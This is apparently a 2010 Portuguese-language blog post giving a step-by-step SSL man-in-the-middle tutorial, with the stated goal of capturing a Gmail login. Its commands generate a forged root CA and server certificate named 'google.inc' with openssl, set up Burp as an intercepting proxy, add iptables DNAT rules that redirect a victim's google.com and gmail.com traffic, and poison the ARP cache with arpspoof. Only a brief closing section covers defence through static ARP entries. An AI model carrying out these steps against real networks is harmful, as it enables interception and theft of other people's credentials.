Wednesday, June 9, 2010

SSL Man In The Middle (MITM)

==[ SSL Man In The Middle (MITM) ]==

######################################
[o] Introdução
[o] Ferramentas
[o] Certificados
[o] Manipulação do tráfego
[o.o] ARP Cache Poisoning
[o] Prevenindo-se
[o] Referências
######################################

[o] Introdução

Dentre os perigos que cercam uma rede LAN podemos destacar o ataque de Man In The Middle (MITM). Existem algumas maneiras de se prevenir contra esses ataques, citarei uma no final desse post.
Há uma certa sensação de conforto ao usarmos protocolos seguros como o HTTPS, que teoricamente protegerá os dados trafegados.
Neste post mostrarei como realizar um ataque de MITM e capturar dados trafegados sob SSL

Antes de começar, é bom frisar que o SSL é realmente um protocolo seguro, mas nesse caso ele é implementado em um nível elevado da pilha TCP/IP, o que permite o ataque nas camadas inferiores.

Obs.: Usaremos o gmail.com/google.com como exemplo, de como capturar uma credencial.
[o] Ferramentas:
Openssl --> http://openssl.org/source/
Burp --> http://portswigger.net/suite/download.html
Dsniff --> http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

[o] Certificados
#--Gerando a chave privada a CA Raiz (auto assinada) e o Certificado Raiz (auto assinado)

$ openssl genrsa -des3 -out CA.key 2048
$ openssl req -new -key CA.key -x509 -days 1095 -out CA.crt

#--Gerando a chave privada do certificado de servidor

$ openssl genrsa -des3 -out certserve.key

#--Gerando a csr para certificado de servidor (Requisição de assinatura de certificado)

$ openssl req -new -key certserve.key -out certserve.csr

#--Assinando e gerando o certificado de servidor usando a CA raiz (auto assinada)

$ openssl x509 -req -days 365 -in certserve.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out certserve.crt

#--Extraindo arquivo PKCS12 do certificado de servidor

$ openssl pkcs12 -export -in certserve.crt -inkey certserve.key -out certserve.p12 -name certificado -CAfile CA.crt -caname google.inc -chain

# Obs.: Se tivermos acesso a máquina da vítima, devemos importar no seu browser o certificado a AC Raiz (CA.crt).

[o] Manipulação do tráfego
#-- Configurar o Burp para oferecer o certificado falso ao cliente

Proxy – Options – use a custom certificate (PKCS12)
Desmarcar a opção: listen on loopback interface only

#--Habilitar IP FORWARD para não causar um DoS na vítima
$ echo 1 > /proc/sys/net/ipv4/ip_forward


#-- Redirecionar o tráfego desejado para o burp (nesse caso google.com)

$ sudo iptables -A PREROUTING -t nat -p tcp -s $VITIMA -d google.com -m multiport --dport 80,443 -j DNAT --to $ATTACK:$BURPPORT

$ sudo iptables -A PREROUTING -t nat -p tcp -s $VITIMA -d gmail.com -m multiport --dport 80,443 -j DNAT --to $ATTACK:$BURPPORT

$ sudo iptables -I INPUT 1 -p tcp -s $VITIMA --dport $BURPORT -j ACCEPT

#--Fazer com que o tráfego da vítima passa pela sua máquina. (ARP Cache Poisoning)
$ arpspoof -t [$VITIMA] [$GATEWAY]

Onde:
$VITIMA → IP da vítima.
$ATTACK → IP do atacante (seu ip).
$BURPPORT→ porta em que o Burp está escutando (default 8080).
$GATEWAY → IP do gateway da rede.

Agora é só aguardar que a vítima acesse o site (nesse caso o gmail).

[o] Prevenindo-se
Como se proteger de um arpspoof?
Obs.: Existe algumas formas de fazer isso, vou mostrar a que eu uso.
Assim que você chegar numa rede procure descobrir o endereço MAC do gateway da rede, depois crie um aquivo com as informações do gateway no formato [mac] [ip] e salve em /etc/ethers. Agora é só colocar a linha
arp -f /etc/ethers
em algum script de inicialização do seu sistema (Linux), normalmente eu carrego junto com meu firewall.

[o] Referência
http://www.sans.org/reading_room/whitepapers/threats/ssl_maninthemiddle_attacks_480?show=480.php&cat=threats